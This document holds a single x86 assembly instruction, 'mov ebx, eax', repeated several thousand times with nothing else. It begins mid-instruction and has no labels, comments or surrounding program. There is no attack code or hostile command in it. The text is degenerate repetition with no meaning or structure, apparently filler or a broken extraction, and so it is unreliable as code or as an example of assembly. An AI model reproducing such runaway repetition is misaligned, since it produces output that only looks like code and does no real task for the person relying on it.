ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax 